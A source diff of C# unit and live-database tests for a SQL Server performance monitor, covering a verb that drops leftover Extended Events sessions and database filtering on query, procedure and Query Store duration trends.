+        if (second is not null)
+        {
+            names[SecondId] = second;
+        }
+
+        return names;
+    }
+
+    /// <summary>The server-scope search of a server that holds this install's long-query session, the old shared one and the
+    /// shared deadlock session.</summary>
+    private static Task<XeSessionSearch> OnPremisesSearchAsync(
+        IReadOnlyList<ScheduleOverride>? rows, IReadOnlyDictionary<int, string>? names, params string[] found)
+    {
+        var (self, second) = TwoOnPremisesRegistrations();
+        return OnPremisesTarget(FactsWith(rows, names), self, self, second)
+            .ServerScopeSearchAsync(found.Length == 0 ? [Deadlock, OwnLongQuery, LongQuery] : found, []);
+    }
+
+    private static readonly string[] SharedAndLegacy = [Deadlock, LongQuery];
+
+    /// <summary>
+    /// A server's session is the instance's own, so another registration of this install on the same instance, with its
+    /// long-query trace on, keeps this install's session: the verb leaves it and says why. The shared sessions and the old
+    /// shared long-query session are nobody's keeper session, so they stay in the plan.
+    /// </summary>
+    [Fact]
+    public async Task OnPremises_AKeeperOnTheSameInstance_LeavesThisInstallsLongQuerySession_AndSaysWhy()
+    {
+        var search = await OnPremisesSearchAsync([LongQueryRow(SecondId, enabled: true)], InstanceNames("SQL01", "sql01"));
+
+        Assert.Equal(SharedAndLegacy, search.Sessions.Select(session => session.Name).ToArray());
+        var note = Assert.Single(search.Notes);
+        Assert.Contains(OwnLongQuery, note, StringComparison.Ordinal);
+        Assert.Contains("Another registration of this install keeps it on the same instance", note, StringComparison.Ordinal);
+    }
+
+    /// <summary>A name that is not known cannot match: this registration's own, or the keeper's. The session is dropped.</summary>
+    [Fact]
+    public async Task OnPremises_AnUnknownInstanceName_DropsThisInstallsLongQuerySession()
+    {
+        var keeperOn = new[] { LongQueryRow(SecondId, enabled: true) };
+
+        foreach (var names in new[] { InstanceNames(null, "SQL01"), InstanceNames("SQL01", null), InstanceNames(null, null) })
+        {
+            var search = await OnPremisesSearchAsync(keeperOn, names);
+
+            Assert.Equal(new[] { Deadlock, OwnLongQuery, LongQuery }, search.Sessions.Select(session => session.Name).ToArray());
+            Assert.Empty(search.Notes);
+        }
+    }
+
+    [Fact]
+    public async Task OnPremises_AKeeperOnAnotherInstance_DropsThisInstallsLongQuerySession()
+    {
+        var search = await OnPremisesSearchAsync([LongQueryRow(SecondId, enabled: true)], InstanceNames("SQL01", "SQL02"));
+
+        Assert.Equal(new[] { Deadlock, OwnLongQuery, LongQuery }, search.Sessions.Select(session => session.Name).ToArray());
+        Assert.Empty(search.Notes);
+    }
+
+    /// <summary>A registration whose effective trace setting is off keeps nothing, however its instance name reads: its own
+    /// override, or with no row at all the collector's default, which is off.</summary>
+    [Fact]
+    public async Task OnPremises_AKeeperWithItsTraceOff_DoesNotCount()
+    {
+        var sameInstance = InstanceNames("SQL01", "SQL01");
+
+        foreach (var rows in new[] { new[] { LongQueryRow(SecondId, enabled: false) }, Array.Empty<ScheduleOverride>() })
+        {
+            var search = await OnPremisesSearchAsync(rows, sameInstance);
+
+            Assert.Equal(new[] { Deadlock, OwnLongQuery, LongQuery }, search.Sessions.Select(session => session.Name).ToArray());
+            Assert.Empty(search.Notes);
+        }
+    }
+
+    /// <summary>With the schedule rows unreadable, every other registration counts as having its trace on, as on Azure SQL
+    /// Database; the instance names still have to match.</summary>
+    [Fact]
+    public async Task OnPremises_WhenTheScheduleRowsCouldNotBeRead_AKeeperOnTheSameInstanceStillCounts()
+    {
+        var search = await OnPremisesSearchAsync(rows: null, InstanceNames("SQL01", "SQL01"));
+
+        Assert.Equal(SharedAndLegacy, search.Sessions.Select(session => session.Name).ToArray());
+        Assert.Single(search.Notes);
+    }
+
+    /// <summary>The guard is for this install's long-query session alone: with that session not on the server, nothing is left
+    /// and nothing is said.</summary>
+    [Fact]
+    public async Task OnPremises_WithNoLongQuerySessionOfThisInstallOnTheServer_SaysNothing()
+    {
+        var search = await OnPremisesSearchAsync([LongQueryRow(SecondId, enabled: true)], InstanceNames("SQL01", "SQL01"), Deadlock, LongQuery);
+
+        Assert.Equal(SharedAndLegacy, search.Sessions.Select(session => session.Name).ToArray());
+        Assert.Empty(search.Notes);
+    }
+
+    /// <summary>
+    /// Under the real executor: the session left in place is never dropped, the reason is on stderr, and it is a note, not a
+    /// failure, so the exit code stays 0 for a script that removes the server next.
+    /// </summary>
+    [Fact]
+    public async Task OnPremises_TheVerbDoesNotDropTheSessionItLeft_AndPrintsWhyOnStderr()
+    {
+        var (self, second) = TwoOnPremisesRegistrations();
+        var real = OnPremisesTarget(FactsWith([LongQueryRow(SecondId, enabled: true)], InstanceNames("SQL01", "SQL01")), self, self, second);
+        var target = new OnPremisesSearchTarget(real, [Deadlock, OwnLongQuery, LongQuery]);
+        var output = new StringWriter();
+        var error = new StringWriter();
+
+        var exit = await DarlingXeSessionCleanup.RunAsync("sql01", dryRun: false, target, output, error, CancellationToken.None, StoreInstallId);
+
+        Assert.Equal(0, exit);
+        Assert.Equal(SharedAndLegacy, target.Dropped.Select(drop => drop.Session.Name).ToArray());
+        Assert.Contains(OwnLongQuery, error.ToString(), StringComparison.Ordinal);
+        Assert.Contains("keeps it on the same instance", error.ToString(), StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnLongQuery, output.ToString(), StringComparison.Ordinal);
+    }
+
+    private sealed class OnPremisesSearchTarget : IXeSessionCleanupTarget
+    {
+        private readonly SqlServerXeSessionCleanupTarget _real;
+        private readonly string[] _found;
+
+        public OnPremisesSearchTarget(SqlServerXeSessionCleanupTarget real, string[] found)
+        {
+            _real = real;
+            _found = found;
+        }
+
+        public List<XeSessionDrop> Dropped { get; } = [];
+
+        public Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken) => _real.ServerScopeSearchAsync(_found, []);
+
+        public Task DropAsync(XeSessionDrop drop, CancellationToken cancellationToken)
+        {
+            Dropped.Add(drop);
+            return Task.CompletedTask;
+        }
+    }
+
+    // ---- a database the search cannot open: a problem when it is monitored, a note when the registration excludes it ----------
+
+    /// <summary>The registration excludes gamma and monitors alpha as its own server: the plan visits alpha and beta for the
+    /// always-on sessions and beta and gamma for the long-query one, so gamma is searched for that session alone.</summary>
+    private static SqlServerXeSessionCleanupTarget.AzureSearchPlan ExcludedGammaPlan()
+    {
+        var self = new MonitoredServer { Name = "dropxe", Host = AzureHost, ExcludedDatabases = ["gamma"] };
+        var alphaOwnServer = new MonitoredServer { Name = "dropxe-alpha", Host = AzureHost, Database = "alpha" };
+        return AzureTarget(self, self, alphaOwnServer).PlanAzureSearch(
+            monitored: ["master", "alpha", "beta"],
+            every: ["master", "alpha", "beta", "gamma"]);
+    }
+
+    /// <summary>The target's real Azure search loop under the real executor, with the read of one database replaced: the
+    /// <paramref name="refusing"/> database refuses the connection, alpha holds the deadlock session and beta the long-query
+    /// one.</summary>
+    private sealed class AzureSearchTarget : IXeSessionCleanupTarget
+    {
+        private readonly SqlServerXeSessionCleanupTarget.AzureSearchPlan _plan;
+        private readonly string _refusing;
+
+        public AzureSearchTarget(SqlServerXeSessionCleanupTarget.AzureSearchPlan plan, string refusing)
+        {
+            _plan = plan;
+            _refusing = refusing;
+        }
+
+        public List<XeSessionDrop> Dropped { get; } = [];
+
+        public Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken) =>
+            SqlServerXeSessionCleanupTarget.SearchAzureDatabasesAsync(_plan, NamesInDatabaseAsync, cancellationToken);
+
+        public Task DropAsync(XeSessionDrop drop, CancellationToken cancellationToken)
+        {
+            Dropped.Add(drop);
+            return Task.CompletedTask;
+        }
+
+        private Task<IReadOnlyList<string>> NamesInDatabaseAsync(string database, CancellationToken cancellationToken)
+        {
+            if (string.Equals(database, _refusing, StringComparison.OrdinalIgnoreCase))
+            {
+                throw new InvalidOperationException("login failed");
+            }
+
+            return Task.FromResult<IReadOnlyList<string>>(database switch
+            {
+                "alpha" => new[] { Deadlock },
+                "beta" => new[] { LongQuery },
+                _ => Array.Empty<string>(),
+            });
+        }
+    }
+
+    private static async Task<(int Exit, string Error, AzureSearchTarget Target)> RunAzureSearchAsync(string refusing)
+    {
+        var target = new AzureSearchTarget(ExcludedGammaPlan(), refusing);
+        var error = new StringWriter();
+        var exit = await DarlingXeSessionCleanup.RunAsync("sql01", dryRun: false, target, new StringWriter(), error, CancellationToken.None);
+        return (exit, error.ToString(), target);
+    }
+
+    /// <summary>
+    /// The long-query search opens databases the registration excludes, which the verb never opened before it. An excluded
+    /// database the login cannot open (no user there, a paused serverless database) must not fail a verb that dropped every
+    /// session it found: a script that runs the verb and then removes the server would stop there. It is a note on stderr that
+    /// names the database, says it is excluded and says a session left there needs a manual drop.
+    /// </summary>
+    [Fact]
+    public async Task AnExcludedDatabaseTheLoginCannotOpen_IsANoteOnStderr_AndTheRunStillSucceeds()
+    {
+        var (exit, error, target) = await RunAzureSearchAsync(refusing: "gamma");
+
+        Assert.Equal(0, exit);
+        Assert.Equal(
+            [
+                ("alpha", Deadlock),
+                ("beta", LongQuery),
+            ],
+            target.Dropped.Select(drop => (drop.Session.Database!, drop.Session.Name)).ToArray());
+        Assert.Equal(
+            $"Database gamma is excluded from monitoring and could not be searched for the long-query completion session (login failed), so a {LongQuery} session left there needs a manual drop."
+                + Environment.NewLine,
+            error);
+    }
+
+    /// <summary>A database the registration monitors is searched for every session, so one the login cannot open still fails
+    /// the run with the unavailable code, as it did before the search reached excluded databases. This passes without the
+    /// exclusion rule too: it is the guard that the rule did not loosen the monitored case.</summary>
+    [Fact]
+    public async Task AMonitoredDatabaseTheLoginCannotOpen_StillFailsTheRun_WithTheUnavailableCode()
+    {
+        var (exit, error, target) = await RunAzureSearchAsync(refusing: "beta");
+
+        Assert.Equal(2, exit);
+        Assert.Equal(
+            "Could not search database beta for Extended Events sessions: login failed" + Environment.NewLine,
+            error);
+        Assert.DoesNotContain("excluded from monitoring", error, StringComparison.Ordinal);
+        Assert.Equal(new[] { ("alpha", Deadlock) }, target.Dropped.Select(drop => (drop.Session.Database!, drop.Session.Name)).ToArray());
+    }
+
+    [Fact]
+    public void ADatabaseSearchedOnlyForTheLongQuerySession_IsFiledAsANote_AndAMonitoredOneAsAProblem()
+    {
+        var plan = ExcludedGammaPlan();
+
+        var excluded = plan.Unsearched("gamma", "login failed");
+        Assert.False(excluded.IsProblem);
+        Assert.Contains("Database gamma is excluded from monitoring", excluded.Text, StringComparison.Ordinal);
+        Assert.Contains("could not be searched for the long-query completion session (login failed)", excluded.Text, StringComparison.Ordinal);
+        Assert.Contains($"{LongQuery} session left there needs a manual drop", excluded.Text, StringComparison.Ordinal);
+
+        var monitored = plan.Unsearched("beta", "login failed");
+        Assert.True(monitored.IsProblem);
+        Assert.Equal("Could not search database beta for Extended Events sessions: login failed", monitored.Text);
+
+        // Database names compare without regard to case, as the rest of the plan does.
+        Assert.True(plan.Unsearched("BETA", "login failed").IsProblem);
+        Assert.False(plan.Unsearched("GAMMA", "login failed").IsProblem);
+    }
+
     // ---- classification, help and dispatch -----------------------------------------------------------------------------
 
     [Theory]
@@ -192,7 +630,9 @@ public void TheScriptDropsThreeNamesInTwoScopes_AndNothingElse()
         var script = DarlingXeSessionCleanup.GuardedDropScript();
         var code = string.Join('\n', script.Split('\n').Where(l => !l.TrimStart().StartsWith("--", StringComparison.Ordinal)));
 
-        Assert.Equal(6, Regex.Matches(code, "DROP EVENT SESSION", RegexOptions.CultureInvariant).Count);
+        /* Six guarded drops, and the two per-install queries (one for each scope) that print a DROP statement as a column for
+           the operator to run (#4961). */
+        Assert.Equal(8, Regex.Matches(code, "DROP EVENT SESSION", RegexOptions.CultureInvariant).Count);
         Assert.Equal(6, Regex.Matches(code, @"IF EXISTS", RegexOptions.CultureInvariant).Count);
         Assert.Equal(
             new[] { Blocked, Deadlock, LongQuery },
@@ -201,7 +641,7 @@ public void TheScriptDropsThreeNamesInTwoScopes_AndNothingElse()
             new[] { Deadlock, Blocked, LongQuery },
             DarlingXeSessionCleanup.SessionNames.ToArray());
         Assert.Equal(
-            new[] { DeadlocksCollector.XeSessionName, BlockedProcessReportCollector.XeSessionName, LongQueryCompletionsCollector.XeSessionName },
+            new[] { DeadlocksCollector.XeSessionName, BlockedProcessReportCollector.XeSessionName, LongQueryCompletionsCollector.LegacyXeSessionName },
             DarlingXeSessionCleanup.SessionNames.ToArray());
         foreach (var other in new[] { "CREATE", "ALTER", "DELETE", "TRUNCATE", "EXEC", "sp_", "DROP DATABASE", "DROP TABLE", "ON ALL SERVER" })
         {
@@ -328,19 +768,25 @@ private sealed class FakeTarget : IXeSessionCleanupTarget
 
         public List<string> Problems { get; } = [];
 
+        public List<string> Notes { get; } = [];
+
         public Exception? SearchFails { get; set; }
 
         public HashSet<string> Refused { get; } = [];
 
         public List<XeSessionDrop> Dropped { get; } = [];
 
+        /// <summary>Runs as each drop starts, before the target answers, so a test can read what the verb had printed by then.</summary>
+        public Action? BeforeDrop { get; set; }
+
         public Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken) =>
             SearchFails is null
-                ? Task.FromResult(new XeSessionSearch(Found.ToList(), Problems.ToList()))
+                ? Task.FromResult(new XeSessionSearch(Found.ToList(), Problems.ToList()) { Notes = Notes.ToList() })
                 : throw SearchFails;
 
         public Task DropAsync(XeSessionDrop drop, CancellationToken cancellationToken)
         {
+            BeforeDrop?.Invoke();
             if (Refused.Contains(drop.Statement))
             {
                 throw new InvalidOperationException("permission denied");
@@ -385,8 +831,43 @@ public async Task ItPrintsEachSessionItFinds_AndDropsIt()
         Assert.Single(Regex.Matches(output, "^WARNING: ", RegexOptions.Multiline));
     }
 
+    /// <summary>
+    /// The warning says other installs recreate a shared session, so it is what the operator reads before anything is
+    /// dropped: it is printed once, ahead of the first drop, and a dry run prints it ahead of the first session it lists.
+    /// </summary>
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheSharedNamesWarning_IsPrintedBeforeTheFirstDrop(bool dryRun)
+    {
+        var output = new StringWriter();
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(Deadlock, XeSessionScope.Server));
+        target.Found.Add(new ExistingXeSession(Blocked, XeSessionScope.Server));
+        string? outputAtTheFirstDrop = null;
+        target.BeforeDrop = () => outputAtTheFirstDrop ??= output.ToString();
+
+        await DarlingXeSessionCleanup.RunAsync("sql01", dryRun, target, output, new StringWriter(), CancellationToken.None);
+
+        var all = output.ToString();
+        Assert.Single(Regex.Matches(all, "^WARNING: ", RegexOptions.Multiline));
+        Assert.Contains(DarlingXeSessionCleanup.SharedNamesWarning, all, StringComparison.Ordinal);
+        if (dryRun)
+        {
+            Assert.Null(outputAtTheFirstDrop);
+            Assert.True(
+                all.IndexOf("WARNING: ", StringComparison.Ordinal) < all.IndexOf("  Found ", StringComparison.Ordinal),
+                "the warning comes before the first session the dry run lists");
+        }
+        else
+        {
+            Assert.NotNull(outputAtTheFirstDrop);
+            Assert.Contains("WARNING: " + DarlingXeSessionCleanup.SharedNamesWarning, outputAtTheFirstDrop, StringComparison.Ordinal);
+        }
+    }
+
     [Fact]
-    public async Task ARealDrop_SaysWhatStopsUntilTheServiceReconnects_OnceAndBeforeTheWarning()
+    public async Task ARealDrop_SaysWhatStopsUntilTheServiceReconnects_OnceAndAfterTheWarning()
     {
         var target = new FakeTarget();
         target.Found.Add(new ExistingXeSession(Deadlock, XeSessionScope.Server));
@@ -398,8 +879,8 @@ public async Task ARealDrop_SaysWhatStopsUntilTheServiceReconnects_OnceAndBefore
         Assert.Single(Regex.Matches(output, "^NOTE: ", RegexOptions.Multiline));
         Assert.Contains(note, output, StringComparison.Ordinal);
         Assert.True(
-            output.IndexOf(note, StringComparison.Ordinal) < output.IndexOf("WARNING: ", StringComparison.Ordinal),
-            "the note comes before the shared-names warning");
+            output.IndexOf("WARNING: ", StringComparison.Ordinal) < output.IndexOf(note, StringComparison.Ordinal),
+            "the shared-names warning comes before the note on what the drops stopped");
     }
 
     [Theory]
@@ -489,6 +970,35 @@ public async Task WhenADatabaseCouldNotBeSearched_NothingFound_DoesNotClaimTheSe
         Assert.Contains("database hr", error, StringComparison.Ordinal);
     }
 
+    [Fact]
+    public async Task ANoteFromTheSearch_IsPrintedOnStderr_AndLeavesTheExitCodeAndTheDropsAlone()
+    {
+        var target = new FakeTarget();
+        target.Found.Add(new ExistingXeSession(Deadlock, XeSessionScope.Server));
+        target.Notes.Add("Database hr is excluded from monitoring and could not be searched for the long-query completion session (login failed), so a session left there needs a manual drop.");
+
+        var (exit, output, error) = await RunAsync(target, dryRun: false);
+
+        Assert.Equal(DarlingCliCommands.DropXeSessionsExitCode.Success, exit);
+        Assert.Single(target.Dropped);
+        Assert.Contains($"[DROPPED] {Deadlock}", output, StringComparison.Ordinal);
+        Assert.Equal(target.Notes[0] + Environment.NewLine, error);
+        Assert.DoesNotContain("[FAILED]", error, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ANoteWithNothingFound_StillSaysNothingWasDroppedOnlyInThePlacesSearched()
+    {
+        var target = new FakeTarget();
+        target.Notes.Add("Database hr is excluded from monitoring and could not be searched for the long-query completion session (login failed), so a session left there needs a manual drop.");
+
+        var (exit, output, error) = await RunAsync(target, dryRun: false);
+
+        Assert.Equal(DarlingCliCommands.DropXeSessionsExitCode.Success, exit);
+        Assert.Contains("nothing to drop in the places searched", output, StringComparison.Ordinal);
+        Assert.Contains("database hr", error, StringComparison.OrdinalIgnoreCase);
+    }
+
     [Fact]
     public async Task ARefusedDrop_DoesNotStopTheNext_AndExitsWithTheUnavailableCode()
     {
@@ -548,7 +1058,7 @@ public async Task ANameTheTargetReturnsThatIsNotDarlings_IsNeverDropped()
 
     // ---- the whole verb through the configuration, with the connection injected ------------------------------------------
 
-    private static Task<IXeSessionCleanupTarget> ThrowingConnect(MonitoredServer server, CancellationToken cancellationToken) =>
+    private static Task<IXeSessionCleanupTarget> ThrowingConnect(MonitoredServer server, IReadOnlyList<MonitoredServer> registry, XeCleanupStoreFacts facts, CancellationToken cancellationToken) =>
         throw new InvalidOperationException("the verb connected when it should not have");
 
     private static string WriteConfig(DirectoryInfo root)
@@ -576,7 +1086,7 @@ private static string WriteConfig(DirectoryInfo root)
 
         var exit = await DarlingCliCommands.DropXeSessionsAsync(
             rest,
-            (server, _) =>
+            (server, _, _, _) =>
             {
                 connected.Add(server.DisplayName);
                 return connectFails is not null
@@ -729,6 +1239,11 @@ public void RemoveServer_NamesTheVerb_ForAServerThatHadConnected()
         Assert.Contains("--print-sql", note, StringComparison.Ordinal);
         Assert.Contains("history are kept", note, StringComparison.Ordinal);
 
+        /* #4961: the removal drops this install's own sessions, so the note no longer says every session stays. */
+        Assert.Contains("also drops this install's own Extended Events sessions on the server", note, StringComparison.Ordinal);
+        Assert.Contains("The shared sessions (", note, StringComparison.Ordinal);
+        Assert.DoesNotContain("are not dropped and stay on the server", note, StringComparison.Ordinal);
+
         /* The server is gone by the time the answer is read, so the named form cannot find it: the first form the note points at is
            --print-sql, and the named form is mentioned only to say it had to run before the removal. */
         Assert.Equal(
@@ -754,7 +1269,7 @@ public void TheReadmeNamesEverySessionTheVerbDrops_InItsSectionAndInTheRemoveSer
         Assert.True(end > start, "the --drop-xe-sessions section no longer ends at a horizontal rule");
         var section = readme[start..end];
 
-        var bulletAt = readme.IndexOf("`remove_server` (which leaves the server's Extended Events sessions on it", StringComparison.Ordinal);
+        var bulletAt = readme.IndexOf("`remove_server` (which drops this install's own Extended Events sessions on the server", StringComparison.Ordinal);
         Assert.True(bulletAt >= 0, "the remove_server bullet no longer says what it leaves on the server (#4732)");
         var bullet = readme[bulletAt..Math.Min(readme.Length, bulletAt + 500)];
 
@@ -797,21 +1312,41 @@ public void TheReadmeSaysWhenToRunTheNamedForm_WhatItStops_WhatToRunAfterTheRemo
         Assert.DoesNotContain("monitored server: the Extended Events sessions", section, StringComparison.Ordinal);
 
         // The other places that point at the verb say the same: after the removal it is --print-sql.
-        var bulletAt = readme.IndexOf("`remove_server` (which leaves the server's Extended Events sessions on it", StringComparison.Ordinal);
+        var bulletAt = readme.IndexOf("`remove_server` (which drops this install's own Extended Events sessions on the server", StringComparison.Ordinal);
         Assert.True(bulletAt >= 0, "the remove_server bullet no longer says what it leaves on the server (#4732)");
         var bullet = readme[bulletAt..Math.Min(readme.Length, bulletAt + 1000)];
         Assert.Contains("`--drop-xe-sessions --print-sql`", bullet, StringComparison.Ordinal);
         Assert.Contains("works only before the removal", bullet, StringComparison.Ordinal);
 
-        var collectorAt = readme.IndexOf("a server removed while the collector was on keeps the session.", StringComparison.Ordinal);
-        Assert.True(collectorAt >= 0, "the long_query_completions paragraph no longer says a removed server keeps its session (#4732)");
+        /* #4961: removing the server drops this install's long-query session; the verb's script is for an attempt that failed. */
+        Assert.DoesNotContain("a server removed while the collector was on keeps the session", readme, StringComparison.Ordinal);
+        var collectorAt = readme.IndexOf("Removing the server also drops this install's session on it", StringComparison.Ordinal);
+        Assert.True(collectorAt >= 0, "the long_query_completions paragraph no longer says removing a server drops this install's session (#4961)");
         var collector = readme[collectorAt..Math.Min(readme.Length, collectorAt + 500)];
-        Assert.Contains("just before you remove the server", collector, StringComparison.Ordinal);
-        Assert.Contains("`--drop-xe-sessions --print-sql` afterwards", collector, StringComparison.Ordinal);
+        Assert.Contains("If that attempt failed or ran out of time", collector, StringComparison.Ordinal);
+        Assert.Contains("`--drop-xe-sessions --print-sql`", collector, StringComparison.Ordinal);
 
         // The list of verbs that survive an unusable store connection names this one.
         var listAt = readme.IndexOf("Every other verb that opens the store (", StringComparison.Ordinal);
         Assert.True(listAt >= 0, "the README no longer lists the verbs that open the store");
         Assert.Contains("`--drop-xe-sessions <server-name>`", readme[listAt..Math.Min(readme.Length, listAt + 400)], StringComparison.Ordinal);
     }
+
+    [Fact]
+    public void TheUsageAndTheReadme_SayAnExcludedDatabaseThatCannotBeOpenedLeavesTheExitCodeAlone_AndAMonitoredOneExitsTwo()
+    {
+        var usage = DarlingCliCommands.DropXeSessionsUsageText();
+        Assert.Contains("An excluded database that cannot be opened is reported as a note and does not change the exit code", usage, StringComparison.Ordinal);
+        Assert.Contains("a monitored database that cannot be opened exits 2", usage, StringComparison.Ordinal);
+
+        var readme = RepoFile.ReadRepoFile("Darling", "README.md").Replace("\r\n", "\n", StringComparison.Ordinal);
+        var start = readme.IndexOf("### Drop the Extended Events sessions a removed server left behind", StringComparison.Ordinal);
+        Assert.True(start >= 0, "the README no longer has the --drop-xe-sessions section (#4732)");
+        var end = readme.IndexOf("\n---", start, StringComparison.Ordinal);
+        Assert.True(end > start, "the --drop-xe-sessions section no longer ends at a horizontal rule");
+        var section = readme[start..end];
+
+        Assert.Contains("is reported in a note on stderr and does not change the exit code", section, StringComparison.Ordinal);
+        Assert.Contains("a monitored database it cannot open makes the verb exit `2`", section, StringComparison.Ordinal);
+    }
 }
diff --git a/Darling/Darling.Tests/DurationTrendDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/DurationTrendDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..8c57ccbe39
--- /dev/null
+++ b/Darling/Darling.Tests/DurationTrendDatabaseFilterLiveTests.cs
@@ -0,0 +1,627 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Darling.Tests;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace PerformanceMonitor.Darling.Tests;
+
+/// <summary>
+/// #5244, PR4 lane R1: the database filter on the three duration trends (get_query_duration_trend,
+/// get_procedure_duration_trend, get_query_store_duration_trend). Each trend is one series summed over the databases it
+/// reads, so the databases a call covered show in the VALUE: A, B and C each plant a different weight, and a call with
+/// [A, B] must read exactly A's plus B's work, never C's. The internal overloads take a <see cref="DatabaseFilter"/>; the
+/// public methods still pass <see cref="DatabaseFilter.All"/>, so there is no MCP schema, dispatch or tools/list change.
+///
+/// <para>This class is the shared-store half (the raw tier and Query Store's raw-only route);
+/// <see cref="DurationTrendDatabaseFilterHourlyLiveTests"/> is the half that mints its own database for the hourly rollup
+/// tier.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class DurationTrendDatabaseFilterLiveTests
+{
+    internal const string A = "TrendFilterA";
+    internal const string B = "TrendFilterB";
+    internal const string C = "TrendFilterC";
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    /// <summary>The rate of the series' last point (the elapsed rate, ms per second), or null when it has none.</summary>
+    internal static double? LastRate(string json) =>
+        JsonDocument.Parse(json).RootElement.GetProperty("trend").EnumerateArray().Last().GetProperty("elapsed_ms_per_second") is { ValueKind: JsonValueKind.Number } n
+            ? n.GetDouble()
+            : null;
+
+    internal static Task PlantQueryAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, string text, long weight) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_stats
+                  (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                   query_text, query_text_digest, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                   delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                   min_dop, max_dop, sample_interval_seconds)
+              VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, 10, $12, $12, 100, 0, 0, 1, $12, 1, $12, 1, 1, 3600)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db,
+            "0xQ" + db, "0xP" + db, "0xS" + db, "0xL" + db, text, SHA256.HashData(Encoding.UTF8.GetBytes(text)), weight);
+
+    internal static Task PlantProcedureAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, long weight) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO procedure_stats
+                  (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                   delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, sample_interval_seconds)
+              VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, 10, $8, $8, 100, 3600)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db, "usp_" + db, "0xSQLH" + db, weight);
+
+    internal static Task PlantQueryStoreAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, long durationUs) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_store_stats (collection_id, collection_time, server_id, server_name, database_name, query_id, plan_id, query_hash, query_plan_hash, query_text, execution_count, avg_duration_us, avg_cpu_time_us, last_execution_time)
+              VALUES ($1, $2, $3, $4, $5, $6, $6, $7, $8, $9, 10, $10, 800, $2)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db, (long)(10 + db[^1]),
+            "0xQ" + db, "0xP" + db, "SELECT qs " + db, durationUs);
+
+    internal const string Cleanup =
+        "DELETE FROM query_stats WHERE server_id = {0}; DELETE FROM procedure_stats WHERE server_id = {0}; " +
+        "DELETE FROM query_store_stats WHERE server_id = {0}; DELETE FROM query_store_health WHERE server_id = {0}";
+
+    [Fact]
+    public Task TheRawTier_AListOfDatabases_ReadsOnlyThoseDatabasesWork_ForQueriesAndProcedures() =>
+        WithSharedStoreAsync("trend-filter-raw-tier", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            foreach (var (db, weight) in new[] { (A, 3_000L), (B, 2_000L), (C, 9_000L) })
+            {
+                await PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, "SELECT " + db, weight);
+                await PlantProcedureAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, weight);
+            }
+
+            var budget = TrendBudget.Mcp(TrendBuckets.DurationMaxPoints);
+            const double perSecond = 1.0 / 1000 / 3600;
+
+            foreach (var procedures in new[] { false, true })
+            {
+                async Task<string> Read(DatabaseFilter databases) => procedures
+                    ? await DarlingMcpTrendTools.GetProcedureDurationTrend(postgres, serverName, 24, null, null, databases, budget, ct)
+                    : await DarlingMcpTrendTools.GetQueryDurationTrend(postgres, serverName, 24, null, null, databases, budget, ct);
+
+                var all = await Read(DatabaseFilter.All);
+                Assert.Equal("raw", JsonDocument.Parse(all).RootElement.GetProperty("source").GetString());
+                Assert.Equal(14_000 * perSecond, LastRate(all)!.Value, 9);
+                Assert.Equal(5_000 * perSecond, LastRate(await Read(Of(A, B)))!.Value, 9);
+                Assert.Equal(5_000 * perSecond, LastRate(await Read(Of(B, A)))!.Value, 9);
+                Assert.Equal(2_000 * perSecond, LastRate(await Read(DatabaseFilter.One(B)))!.Value, 9);
+                /* A repeated name and a blank one are one name, and the public method's answer is the All one. */
+                Assert.Equal(2_000 * perSecond, LastRate(await Read(Of(B, B, " ")))!.Value, 9);
+                Assert.Equal(LastRate(all), LastRate(procedures
+                    ? await DarlingMcpTrendTools.GetProcedureDurationTrend(postgres, serverName, 24, null, null, null, ct)
+                    : await DarlingMcpTrendTools.GetQueryDurationTrend(postgres, serverName, 24, null, null, null, ct)));
+            }
+
+            /* The reader overloads: the same set, a bucket width at $5. */
+            var start = now.AddHours(-24);
+            var end = now.AddMinutes(5);
+            var coverageRollups = await ComposeStoreAvailability.GetRollupsAsync(postgres, ct);
